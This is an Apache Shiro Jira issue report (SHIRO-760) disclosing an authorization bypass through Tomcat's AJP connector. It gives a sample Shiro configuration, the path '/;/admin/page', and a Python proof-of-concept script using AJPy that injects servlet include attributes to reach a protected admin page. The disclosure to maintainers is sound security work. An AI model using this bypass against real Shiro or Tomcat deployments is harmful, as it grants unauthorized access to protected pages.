cl0und created SHIRO-760:
----------------------------

             Summary: Bypass shiroFilter ACL
                 Key: SHIRO-760
                 URL: https://issues.apache.org/jira/browse/SHIRO-760
             Project: Shiro
          Issue Type: Bug
          Components: Authorization (access control) 
            Reporter: cl0und
         Attachments: image-2020-04-23-23-50-02-610.png, 
image-2020-04-23-23-51-31-381.png

I found that shiroFilter's access control can be bypassed through tomcat ajp 
protocol。
{code:java}
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    DefaultWebSecurityManager securityManager(){
        DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean(){
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager());
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/index");
        bean.setUnauthorizedUrl("/unauthorizedurl");
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin", "anon");
        map.put("/admin/*", "authc");
        bean.setFilterChainDefinitionMap(map);
        return  bean;
    }
}{code}
 
{code:java}
@RestController
public class LoginController {
    @PostMapping("/doLogin")
    public void doLogin(String username, String password) {
        Subject subject = SecurityUtils.getSubject();        try {
            subject.login(new UsernamePasswordToken(username, password));
            System.out.println("登录成功!");
        } catch (AuthenticationException e) {
            e.printStackTrace();
            System.out.println("登录失败!");
        }
    }    @GetMapping("/admin/page")
    public String admin() {
        return "admin page";
    }    @GetMapping("/login")
    public String login() {
        return "please login!";
    }
}

{code}
 

If we visit /;/admin/page through http protocol, we will get a 302.

!image-2020-04-23-23-50-02-610.png|width=569,height=141!

But if we use the ajp protocol to access, we can directly access the admin page。

!image-2020-04-23-23-51-31-381.png|width=562,height=275!

By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] 
and Change the content of tomcat.py to the following.

 
{code:java}
import sys
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat
import Tomcat
gc = Tomcat('127.0.0.1', 8009)
attributes = [
    {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.path_info", "/", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.servlet_path", "", )
    }
, ]
hdrs, data = gc.perform_request("/", attributes = attributes)
output = sys.stdout
for d in data:
    try:
    output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
    output.write(repr(d.data))

{code}
 



--
This message was sent by Atlassian Jira
(v8.3.4#803005)

Reply via email to